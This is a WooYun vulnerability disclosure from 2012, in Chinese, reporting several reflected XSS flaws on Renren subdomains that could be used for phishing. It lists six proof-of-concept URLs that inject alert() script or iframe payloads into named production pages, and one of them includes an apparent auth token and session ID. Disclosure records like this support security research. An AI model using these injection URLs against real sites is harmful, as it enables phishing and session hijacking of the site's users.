漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-07391
漏洞标题：人人网多个反射型XSS漏洞，可用于钓鱼
相关厂商：人人网
漏洞作者： insight-labs
提交时间：2012-05-22 12:04
修复时间：2012-05-22 12:04
公开时间：2012-05-22 12:04
漏洞类型：xss跨站脚本攻击
危害等级：中
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-05-22： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-05-22： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
人人网多个反射型XSS漏洞，可用于钓鱼
详细说明：
反射型XSS:
1.http://x1.yhfyl.renren.com/mail?auth_token=XzmFbWZBRVAFiHNsiqpc&flash_info=1%3C%2ftitle%3E1%22%3E%3Cscript%3Ealert%28/insight/%29%3C/script%3E&_session_id=3b835f59978f064cf4ed19c49e3b1201
2.http://x1.yhfyl.renren.com/fight_result?flash_info=<script>alert(/xss by cc/)</script>&id=93894-1
3.http://rr.xjqxz.renren.com/gonglue.jsp?pid=WCRTESTINPUT000000"><script>alert(/insight/)</script>
4.http://rr.xjqxz.renren.com/index.jsp?pid=WCRTESTINPUT000000"><script>alert(/insight/)</script>
5.http://widget.renren.com/fanBoxWidget?appId=29706&borderColor="><1>981073():;963602&characterColor=#333333&desc=1
6.http://igo.renren.com/item/search.html?searchValue="><iframe onload=alert(1)>
漏洞证明：
同上
修复方案：
你懂得
版权声明：转载请注明来源 insight-labs@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝
漏洞Rank：3 (WooYun评价)